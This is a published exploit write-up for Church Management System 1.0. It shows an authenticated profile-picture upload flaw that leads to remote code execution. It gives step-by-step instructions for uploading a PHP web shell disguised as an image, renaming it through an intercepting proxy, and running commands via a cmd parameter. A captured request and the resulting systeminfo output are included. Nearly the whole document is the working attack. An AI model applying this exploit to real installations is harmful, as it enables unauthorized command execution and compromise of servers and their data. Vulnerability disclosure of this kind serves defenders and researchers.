Church Management System 1.0 - Arbitrary File Upload (Authenticated)

# Exploit Title: Church Management System 1.0 - Unrestricted File Upload to Remote Code Execution (Authenticated)
# Date: 07/03/2021
# Exploit Author: Murat DEMIRCI (@butterflyhunt3r)
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/11206/church-management-system.html
# Version: 1.0
# Tested on: Windows 10
# CVE : N/A

# Proof of Concept :

1- Login any user account and change profile picture.
2- Upload any php shell by altering it's extension to .jpg or .png. (i.e test.php.jpg)
3- Before uploading your file, intercept your traffic by using any proxy.
4- Change test.php.jpg file to test.php and click forward.
5- Find your test.php file path and try any command.


###################### REQUEST ##########################################

GET /cman/members/uploads/test.php?cmd=SYSTEMINFO HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost/cman/members/dashboard.php
Cookie: PHPSESSID=cne8l4ct93krjqobdus7nv2sjc

####################### RESPONSE #########################################

HTTP/1.1 200 OK
Date: Sat, 03 Jul 2021 11:28:16 GMT
Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/8.0.3
X-Powered-By: PHP/8.0.3
Content-Length: 4410
Connection: close
Content-Type: text/html; charset=UTF-8


Host Name:                 MRT
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.19043 N/A Build 19043
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          Murat  
System Boot Time:          6/25/2021, 2:51:40 PM
System Manufacturer:       Dell Inc.
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.


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